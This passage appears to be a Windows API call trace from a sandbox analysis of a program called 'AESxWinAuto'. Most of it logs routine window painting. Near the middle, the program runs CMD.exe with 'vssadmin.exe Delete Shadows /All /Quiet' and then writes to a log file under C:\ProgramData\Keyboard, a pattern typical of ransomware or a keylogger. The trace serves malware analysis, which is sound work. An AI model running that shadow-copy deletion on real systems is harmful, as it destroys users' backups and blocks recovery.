Msg=0x202b, wParam=0x1025c, lParam=0x3ade4c) returned 0x0 [0066.022] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x202b, wParam=0x1025c, lParam=0x3ade4c) returned 0x0 [0066.022] InvalidateRect (hWnd=0x1025c, lpRect=0x0, bErase=0) returned 1 [0066.022] UpdateWindow (hWnd=0x1025c) returned 1 [0066.022] BeginPaint (in: hWnd=0x1025c, lpPaint=0x3adfc8 | out: lpPaint=0x3adfc8) returned 0x701093a [0066.022] SelectPalette (hdc=0x701093a, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0066.022] CreateCompatibleDC (hdc=0x701093a) returned 0x28010944 [0066.022] SelectObject (hdc=0x28010944, h=0x3f05094d) returned 0x185000f [0066.022] GdipCreateFromHDC (hdc=0x28010944, graphics=0x3adfc0) returned 0x0 [0066.022] GdipTranslateWorldTransform (graphics=0x4ba1580, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0066.022] GdipSetClipRectI (graphics=0x4ba1580, x=0, y=0, width=84, height=23, combineMode=0x0) returned 0x0 [0066.022] GdipCreateMatrix (matrix=0x3ae028) returned 0x0 [0066.022] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0066.022] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae040) returned 0x0 [0066.022] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x23d3e8 [0066.022] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x23d3e8) returned 0x0 [0066.022] LocalFree (hMem=0x23d3e8) returned 0x0 [0066.023] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0066.023] GdipCreateRegion (region=0x3ae028) returned 0x0 [0066.023] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0066.023] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae034) returned 0x0 [0066.023] GdipSaveGraphics (graphics=0x4ba1580, state=0x3ae060) returned 0x0 [0066.023] GdipRestoreGraphics (graphics=0x4ba1580, state=0xfd9b0dbd) returned 0x0 [0066.023] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0066.023] GdipGetDC (graphics=0x4ba1580, hdc=0x3ade84) returned 0x0 [0066.023] GetCurrentObject (hdc=0x28010944, type=0x1) returned 0x1b00017 [0066.023] GetCurrentObject (hdc=0x28010944, type=0x2) returned 0x1900010 [0066.023] GetCurrentObject (hdc=0x28010944, type=0x7) returned 0x3f05094d [0066.023] GetCurrentObject (hdc=0x28010944, type=0x6) returned 0x18a002e [0066.023] SaveDC (hdc=0x28010944) returned 1 [0066.023] GetNearestColor (hdc=0x28010944, color=0xf0f0f0) returned 0xf0f0f0 [0066.023] GetNearestColor (hdc=0x28010944, color=0xa0a0a0) returned 0xa0a0a0 [0066.023] GetNearestColor (hdc=0x28010944, color=0x696969) returned 0x696969 [0066.023] GetNearestColor (hdc=0x28010944, color=0xa0a0a0) returned 0xa0a0a0 [0066.023] GetNearestColor (hdc=0x28010944, color=0x0) returned 0x0 [0066.023] GetNearestColor (hdc=0x28010944, color=0xffffff) returned 0xffffff [0066.023] GetNearestColor (hdc=0x28010944, color=0xe5e5e5) returned 0xe5e5e5 [0066.023] GetNearestColor (hdc=0x28010944, color=0xd7d7d7) returned 0xd7d7d7 [0066.023] GetNearestColor (hdc=0x28010944, color=0x0) returned 0x0 [0066.023] RestoreDC (hdc=0x28010944, nSavedDC=-1) returned 1 [0066.023] GdipReleaseDC (graphics=0x4ba1580, hdc=0x28010944) returned 0x0 [0066.023] IsAppThemed () returned 0x1 [0066.023] GetThemeAppProperties () returned 0x3 [0066.023] GetThemeAppProperties () returned 0x3 [0066.023] IsAppThemed () returned 0x1 [0066.023] GetThemeAppProperties () returned 0x3 [0066.023] GetThemeAppProperties () returned 0x3 [0066.023] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0066.024] GetObjectW (in: h=0x70a0932, c=92, pv=0x3adbe4 | out: pv=0x3adbe4) returned 92 [0066.024] DrawTextExW (in: hdc=0x15010934, lpchText="Start", cchText=5, lprc=0x3add20, format=0x102415, lpdtp=0x264d958 | out: lpchText="Start", lprc=0x3add20) returned 13 [0066.024] IsAppThemed () returned 0x1 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] IsAppThemed () returned 0x1 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] GetFocus () returned 0x1025e [0066.024] IsAppThemed () returned 0x1 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] IsAppThemed () returned 0x1 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] IsThemePartDefined () returned 0x1 [0066.024] IsAppThemed () returned 0x1 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0066.024] IsAppThemed () returned 0x1 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] IsAppThemed () returned 0x1 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] GetThemeAppProperties () returned 0x3 [0066.024] IsThemePartDefined () returned 0x1 [0066.024] GdipCreateRegion (region=0x3add40) returned 0x0 [0066.024] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0066.024] GdipCreateMatrix (matrix=0x3add40) returned 0x0 [0066.024] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0066.024] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3add58) returned 0x0 [0066.024] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x23d3e8 [0066.024] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x23d3e8) returned 0x0 [0066.024] LocalFree (hMem=0x23d3e8) returned 0x0 [0066.024] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x23d3e8 [0066.024] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x23d3e8) returned 0x0 [0066.024] LocalFree (hMem=0x23d3e8) returned 0x0 [0066.024] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0066.024] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3add84) returned 0x0 [0066.024] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3add74) returned 0x0 [0066.024] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3add74) returned 0x0 [0066.024] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0066.024] GdipGetDC (graphics=0x4ba1580, hdc=0x3add8c) returned 0x0 [0066.025] GetCurrentObject (hdc=0x28010944, type=0x1) returned 0x1b00017 [0066.025] GetCurrentObject (hdc=0x28010944, type=0x2) returned 0x1900010 [0066.025] GetCurrentObject (hdc=0x28010944, type=0x7) returned 0x3f05094d [0066.025] GetCurrentObject (hdc=0x28010944, type=0x6) returned 0x18a002e [0066.025] SaveDC (hdc=0x28010944) returned 1 [0066.025] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3a040945 [0066.025] GetClipRgn (hdc=0x28010944, hrgn=0x3a040945) returned 0 [0066.025] SelectClipRgn (hdc=0x28010944, hrgn=0xce040957) returned 2 [0066.025] DeleteObject (ho=0x3a040945) returned 1 [0066.025] DeleteObject (ho=0xce040957) returned 1 [0066.025] OffsetViewportOrgEx (in: hdc=0x28010944, x=0, y=0, lppt=0x264e094 | out: lppt=0x264e094) returned 1 [0066.025] DrawThemeParentBackground () returned 0x0 [0066.025] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3adb00 | out: lpwndpl=0x3adb00) returned 1 [0066.025] GetClientRect (in: hWnd=0x401f0, lpRect=0x3adaa4 | out: lpRect=0x3adaa4) returned 1 [0066.025] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0066.025] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0066.025] GetSystemMetrics (nIndex=42) returned 0 [0066.025] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ad964, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0066.025] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ad964) returned 0xb [0066.025] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ad9ac | out: lpRect=0x3ad9ac) returned 1 [0066.025] GetCurrentObject (hdc=0x28010944, type=0x1) returned 0x1b00017 [0066.025] GetCurrentObject (hdc=0x28010944, type=0x2) returned 0x1900010 [0066.025] GetCurrentObject (hdc=0x28010944, type=0x7) returned 0x3f05094d [0066.025] GetCurrentObject (hdc=0x28010944, type=0x6) returned 0x18a002e [0066.025] SaveDC (hdc=0x28010944) returned 2 [0066.025] GetNearestColor (hdc=0x28010944, color=0xf0f0f0) returned 0xf0f0f0 [0066.025] CreateSolidBrush (color=0xf0f0f0) returned 0x29100940 [0066.025] FillRect (hDC=0x28010944, lprc=0x3ad84c, hbr=0x29100940) returned 1 [0066.025] DeleteObject (ho=0x29100940) returned 1 [0066.025] RestoreDC (hdc=0x28010944, nSavedDC=-1) returned 1 [0066.026] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0066.026] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0066.026] GetSystemMetrics (nIndex=42) returned 0 [0066.026] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ad904, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0066.026] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ad904) returned 0xb [0066.026] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ad94c | out: lpRect=0x3ad94c) returned 1 [0066.026] GetCurrentObject (hdc=0x28010944, type=0x1) returned 0x1b00017 [0066.026] GetCurrentObject (hdc=0x28010944, type=0x2) returned 0x1900010 [0066.026] GetCurrentObject (hdc=0x28010944, type=0x7) returned 0x3f05094d [0066.026] GetCurrentObject (hdc=0x28010944, type=0x6) returned 0x18a002e [0066.026] SaveDC (hdc=0x28010944) returned 2 [0066.026] GetNearestColor (hdc=0x28010944, color=0xf0f0f0) returned 0xf0f0f0 [0066.026] CreateSolidBrush (color=0xf0f0f0) returned 0x2a100940 [0066.026] FillRect (hDC=0x28010944, lprc=0x3ad7ec, hbr=0x2a100940) returned 1 [0066.026] DeleteObject (ho=0x2a100940) returned 1 [0066.026] RestoreDC (hdc=0x28010944, nSavedDC=-1) returned 1 [0066.026] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0066.026] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0066.026] GetSystemMetrics (nIndex=42) returned 0 [0066.026] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ad904, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0066.026] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ad904) returned 0xb [0066.026] RestoreDC (hdc=0x28010944, nSavedDC=-1) returned 1 [0066.026] GdipReleaseDC (graphics=0x4ba1580, hdc=0x28010944) returned 0x0 [0066.026] IsAppThemed () returned 0x1 [0066.026] GetThemeAppProperties () returned 0x3 [0066.026] GetThemeAppProperties () returned 0x3 [0066.026] IsAppThemed () returned 0x1 [0066.026] GetThemeAppProperties () returned 0x3 [0066.026] GetThemeAppProperties () returned 0x3 [0066.026] IsThemePartDefined () returned 0x1 [0066.026] GdipCreateRegion (region=0x3add04) returned 0x0 [0066.026] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0066.026] GdipCreateMatrix (matrix=0x3add04) returned 0x0 [0066.026] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0066.026] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3add1c) returned 0x0 [0066.027] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x23d3e8 [0066.027] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x23d3e8) returned 0x0 [0066.027] LocalFree (hMem=0x23d3e8) returned 0x0 [0066.027] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x23d3e8 [0066.027] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x23d3e8) returned 0x0 [0066.027] LocalFree (hMem=0x23d3e8) returned 0x0 [0066.027] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0066.027] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3add48) returned 0x0 [0066.027] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3add38) returned 0x0 [0066.027] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3add38) returned 0x0 [0066.027] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0066.027] GdipGetDC (graphics=0x4ba1580, hdc=0x3add50) returned 0x0 [0066.027] GetCurrentObject (hdc=0x28010944, type=0x1) returned 0x1b00017 [0066.027] GetCurrentObject (hdc=0x28010944, type=0x2) returned 0x1900010 [0066.027] GetCurrentObject (hdc=0x28010944, type=0x7) returned 0x3f05094d [0066.027] GetCurrentObject (hdc=0x28010944, type=0x6) returned 0x18a002e [0066.027] SaveDC (hdc=0x28010944) returned 1 [0066.027] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xcf040957 [0066.027] GetClipRgn (hdc=0x28010944, hrgn=0xcf040957) returned 0 [0066.027] SelectClipRgn (hdc=0x28010944, hrgn=0x3c040945) returned 2 [0066.027] DeleteObject (ho=0xcf040957) returned 1 [0066.027] DeleteObject (ho=0x3c040945) returned 1 [0066.027] OffsetViewportOrgEx (in: hdc=0x28010944, x=0, y=0, lppt=0x264e92c | out: lppt=0x264e92c) returned 1 [0066.027] IsAppThemed () returned 0x1 [0066.027] GetThemeAppProperties () returned 0x3 [0066.027] GetThemeAppProperties () returned 0x3 [0066.027] DrawThemeBackground () returned 0x0 [0066.027] RestoreDC (hdc=0x28010944, nSavedDC=-1) returned 1 [0066.027] GdipReleaseDC (graphics=0x4ba1580, hdc=0x28010944) returned 0x0 [0066.027] GdipCreateRegion (region=0x3adcec) returned 0x0 [0066.027] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0066.027] GdipCreateMatrix (matrix=0x3adcec) returned 0x0 [0066.027] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0066.027] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3add04) returned 0x0 [0066.027] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x23d3e8 [0066.028] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x23d3e8) returned 0x0 [0066.028] LocalFree (hMem=0x23d3e8) returned 0x0 [0066.028] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x23d3e8 [0066.028] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x23d3e8) returned 0x0 [0066.028] LocalFree (hMem=0x23d3e8) returned 0x0 [0066.028] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0066.028] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3add30) returned 0x0 [0066.028] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3add20) returned 0x0 [0066.028] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3add20) returned 0x0 [0066.028] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0066.028] GdipGetDC (graphics=0x4ba1580, hdc=0x3add38) returned 0x0 [0066.028] GetCurrentObject (hdc=0x28010944, type=0x1) returned 0x1b00017 [0066.028] GetCurrentObject (hdc=0x28010944, type=0x2) returned 0x1900010 [0066.028] GetCurrentObject (hdc=0x28010944, type=0x7) returned 0x3f05094d [0066.028] GetCurrentObject (hdc=0x28010944, type=0x6) returned 0x18a002e [0066.028] SaveDC (hdc=0x28010944) returned 1 [0066.028] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3d040945 [0066.028] GetClipRgn (hdc=0x28010944, hrgn=0x3d040945) returned 0 [0066.028] SelectClipRgn (hdc=0x28010944, hrgn=0xd0040957) returned 2 [0066.029] DeleteObject (ho=0x3d040945) returned 1 [0066.029] DeleteObject (ho=0xd0040957) returned 1 [0066.029] OffsetViewportOrgEx (in: hdc=0x28010944, x=0, y=0, lppt=0x264ec08 | out: lppt=0x264ec08) returned 1 [0066.029] IsAppThemed () returned 0x1 [0066.029] GetThemeAppProperties () returned 0x3 [0066.029] GetThemeAppProperties () returned 0x3 [0066.029] GetThemeBackgroundContentRect () returned 0x0 [0066.029] RestoreDC (hdc=0x28010944, nSavedDC=-1) returned 1 [0066.029] GdipReleaseDC (graphics=0x4ba1580, hdc=0x28010944) returned 0x0 [0066.029] IsAppThemed () returned 0x1 [0066.029] GetThemeAppProperties () returned 0x3 [0066.029] GetThemeAppProperties () returned 0x3 [0066.029] GdipGetTextRenderingHint (graphics=0x4ba1580, mode=0x3ade48) returned 0x0 [0066.029] GdipGetDC (graphics=0x4ba1580, hdc=0x3ade34) returned 0x0 [0066.029] GetCurrentObject (hdc=0x28010944, type=0x1) returned 0x1b00017 [0066.029] GetCurrentObject (hdc=0x28010944, type=0x2) returned 0x1900010 [0066.029] GetCurrentObject (hdc=0x28010944, type=0x7) returned 0x3f05094d [0066.029] GetCurrentObject (hdc=0x28010944, type=0x6) returned 0x18a002e [0066.029] SaveDC (hdc=0x28010944) returned 1 [0066.029] GetTextAlign (hdc=0x28010944) returned 0x0 [0066.029] GetTextColor (hdc=0x28010944) returned 0x0 [0066.029] GetCurrentObject (hdc=0x28010944, type=0x6) returned 0x18a002e [0066.029] GetObjectW (in: h=0x18a002e, c=92, pv=0x3adb94 | out: pv=0x3adb94) returned 92 [0066.029] SelectObject (hdc=0x28010944, h=0x70a0932) returned 0x18a002e [0066.029] GetBkMode (hdc=0x28010944) returned 2 [0066.029] SetBkMode (hdc=0x28010944, mode=1) returned 2 [0066.029] DrawTextExW (in: hdc=0x28010944, lpchText="Start", cchText=5, lprc=0x3adc78, format=0x102415, lpdtp=0x264efa0 | out: lpchText="Start", lprc=0x3adc78) returned 13 [0066.029] DrawTextExW (in: hdc=0x28010944, lpchText="Start", cchText=5, lprc=0x3addc8, format=0x102015, lpdtp=0x264efa0 | out: lpchText="Start", lprc=0x3addc8) returned 13 [0066.030] RestoreDC (hdc=0x28010944, nSavedDC=-1) returned 1 [0066.030] GdipReleaseDC (graphics=0x4ba1580, hdc=0x28010944) returned 0x0 [0066.030] GetFocus () returned 0x1025e [0066.030] IsAppThemed () returned 0x1 [0066.030] GetThemeAppProperties () returned 0x3 [0066.030] GetThemeAppProperties () returned 0x3 [0066.030] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae020) returned 0x0 [0066.030] BitBlt (hdc=0x701093a, x=0, y=0, cx=84, cy=23, hdcSrc=0x28010944, x1=0, y1=0, rop=0xcc0020) returned 1 [0066.030] GdipReleaseDC (graphics=0x4ba1580, hdc=0x28010944) returned 0x0 [0066.030] SelectPalette (hdc=0x701093a, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0066.030] SelectObject (hdc=0x28010944, h=0x185000f) returned 0x3f05094d [0066.030] DeleteDC (hdc=0x28010944) returned 1 [0066.030] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0066.030] EndPaint (hWnd=0x1025c, lpPaint=0x3adfc4) returned 1 [0066.032] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x232418 [0066.032] LocalAlloc (uFlags=0x0, uBytes=0x50) returned 0x1e1350 [0066.033] ShellExecuteExW (in: pExecInfo=0x264f274*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="CMD.exe", lpParameters="vssadmin.exe Delete Shadows /All /Quiet", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x264f274*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="CMD.exe", lpParameters="vssadmin.exe Delete Shadows /All /Quiet", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x61c)) returned 1 [0066.283] LocalFree (hMem=0x232418) returned 0x0 [0066.283] LocalFree (hMem=0x1e1350) returned 0x0 [0066.296] GetWindowTextLengthW (hWnd=0x1025c) returned 5 [0066.296] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0066.296] GetSystemMetrics (nIndex=42) returned 0 [0066.296] GetWindowTextW (in: hWnd=0x1025c, lpString=0x3ae314, nMaxCount=6 | out: lpString="Start") returned 5 [0066.296] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0xd, wParam=0x6, lParam=0x3ae314) returned 0x5 [0066.296] SetWindowTextW (hWnd=0x1025c, lpString="Stop") returned 1 [0066.296] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0xc, wParam=0x0, lParam=0x26522d8) returned 0x1 [0066.297] GetStockObject (i=5) returned 0x1900015 [0066.297] GetStockObject (i=5) returned 0x1900015 [0066.297] GetDlgItem (hDlg=0x401f0, nIDDlgItem=66140) returned 0x1025c [0066.297] SendMessageW (hWnd=0x1025c, Msg=0x202b, wParam=0x1025c, lParam=0x3ade3c) returned 0x0 [0066.297] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x202b, wParam=0x1025c, lParam=0x3ade3c) returned 0x0 [0066.297] InvalidateRect (hWnd=0x1025c, lpRect=0x0, bErase=0) returned 1 [0066.717] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard\\17102017_012722.log", nBufferLength=0x105, lpBuffer=0x3adc50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard\\17102017_012722.log", lpFilePart=0x0) returned 0x2b [0066.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ae12c) returned 1 [0066.717] CreateFileW (lpFileName="C:\\ProgramData\\Keyboard\\17102017_012722.log" (normalized: "c:\\programdata\\keyboard\\17102017_012722.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6a0 [0066.717] GetFileType (hFile=0x6a0) returned 0x1 [0066.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ae128) returned 1 [0066.718] GetFileType (hFile=0x6a0) returned 0x1 [0066.718] SetFilePointer (in: hFile=0x6a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x3ae100*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x3ae100*=0) returned 0x55 [0066.718] WriteFile (in: hFile=0x6a0, lpBuffer=0x2659fe0*, nNumberOfBytesToWrite=0x194, lpNumberOfBytesWritten=0x3ae1d8, lpOverlapped=0x0 | out: lpBuffer=0x2659fe0*, lpNumberOfBytesWritten=0x3ae1d8*=0x194, lpOverlapped=0x0) returned 1 [0066.718] CloseHandle (hObject=0x6a0) returned 1 [0066.721] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0066.721] IsWindowUnicode (hWnd=0x1025c) returned 1 [0066.721] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0066.721] TranslateMessage (lpMsg=0x3af06c) returned 0 [0066.721] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0066.721] BeginPaint (in: hWnd=0x1025c, lpPaint=0x3aeb70 | out: lpPaint=0x3aeb70) returned 0x25010953 [0066.721] SelectPalette (hdc=0x25010953, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0066.721] CreateCompatibleDC (hdc=0x25010953) returned 0x1501097b [0066.721] SelectObject (hdc=0x1501097b, h=0x3f05094d) returned 0x185000f [0066.721] GdipCreateFromHDC (hdc=0x1501097b, graphics=0x3aeb68) returned 0x0 [0066.721] GdipTranslateWorldTransform (graphics=0x4ba1580, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0066.721] GdipSetClipRectI (graphics=0x4ba1580, x=0, y=0, width=84, height=23, combineMode=0x0) returned 0x0 [0066.721] GdipCreateMatrix (matrix=0x3aebd0) returned 0x0 [0066.721] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0066.721] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3aebe8) returned 0x0 [0066.721] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x248300 [0066.721] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x248300) returned 0x0 [0066.721] LocalFree (hMem=0x248300) returned 0x0 [0066.721] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0066.721] GdipCreateRegion (region=0x3aebd0) returned 0x0 [0066.722] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0066.722] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aebdc) returned 0x0 [0066.722] GdipSaveGraphics (graphics=0x4ba1580, state=0x3aec08) returned 0x0 [0066.722] GdipRestoreGraphics (graphics=0x4ba1580, state=0xfd990dbd) returned 0x0 [0066.722] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0066.722] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea2c) returned 0x0 [0066.722] GetCurrentObject (hdc=0x1501097b, type=0x1) returned 0x1b00017 [0066.722] GetCurrentObject (hdc=0x1501097b, type=0x2) returned 0x1900010 [0066.722] GetCurrentObject (hdc=0x1501097b, type=0x7) returned 0x3f05094d [0066.722] GetCurrentObject (hdc=0x1501097b, type=0x6) returned 0x18a002e [0066.722] SaveDC (hdc=0x1501097b) returned 1 [0066.722] GetNearestColor (hdc=0x1501097b, color=0xf0f0f0) returned 0xf0f0f0 [0066.722] GetNearestColor (hdc=0x1501097b, color=0xa0a0a0) returned 0xa0a0a0 [0066.722] GetNearestColor (hdc=0x1501097b, color=0x696969) returned 0x696969 [0066.722] GetNearestColor (hdc=0x1501097b, color=0xa0a0a0) returned 0xa0a0a0 [0066.722] GetNearestColor (hdc=0x1501097b, color=0x0) returned 0x0 [0066.722] GetNearestColor (hdc=0x1501097b, color=0xffffff) returned 0xffffff [0066.722] GetNearestColor (hdc=0x1501097b, color=0xe5e5e5) returned 0xe5e5e5 [0066.722] GetNearestColor (hdc=0x1501097b, color=0xd7d7d7) returned 0xd7d7d7 [0066.722] GetNearestColor (hdc=0x1501097b, color=0x0) returned 0x0 [0066.722] RestoreDC (hdc=0x1501097b, nSavedDC=-1) returned 1 [0066.722] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1501097b) returned 0x0 [0066.722] IsAppThemed () returned 0x1 [0066.722] GetThemeAppProperties () returned 0x3 [0066.722] GetThemeAppProperties () returned 0x3 [0066.722] IsAppThemed () returned 0x1 [0066.722] GetThemeAppProperties () returned 0x3 [0066.722] GetThemeAppProperties () returned 0x3 [0066.722] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0066.722] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae78c | out: pv=0x3ae78c) returned 92 [0066.722] DrawTextExW (in: hdc=0x15010934, lpchText="Stop", cchText=4, lprc=0x3ae8c8, format=0x102415, lpdtp=0x265b6f8 | out: lpchText="Stop", lprc=0x3ae8c8) returned 13 [0066.723] IsAppThemed () returned 0x1 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] IsAppThemed () returned 0x1 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] GetFocus () returned 0x1025e [0066.723] IsAppThemed () returned 0x1 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] IsAppThemed () returned 0x1 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] IsThemePartDefined () returned 0x1 [0066.723] IsAppThemed () returned 0x1 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0066.723] IsAppThemed () returned 0x1 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] IsAppThemed () returned 0x1 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] GetThemeAppProperties () returned 0x3 [0066.723] IsThemePartDefined () returned 0x1 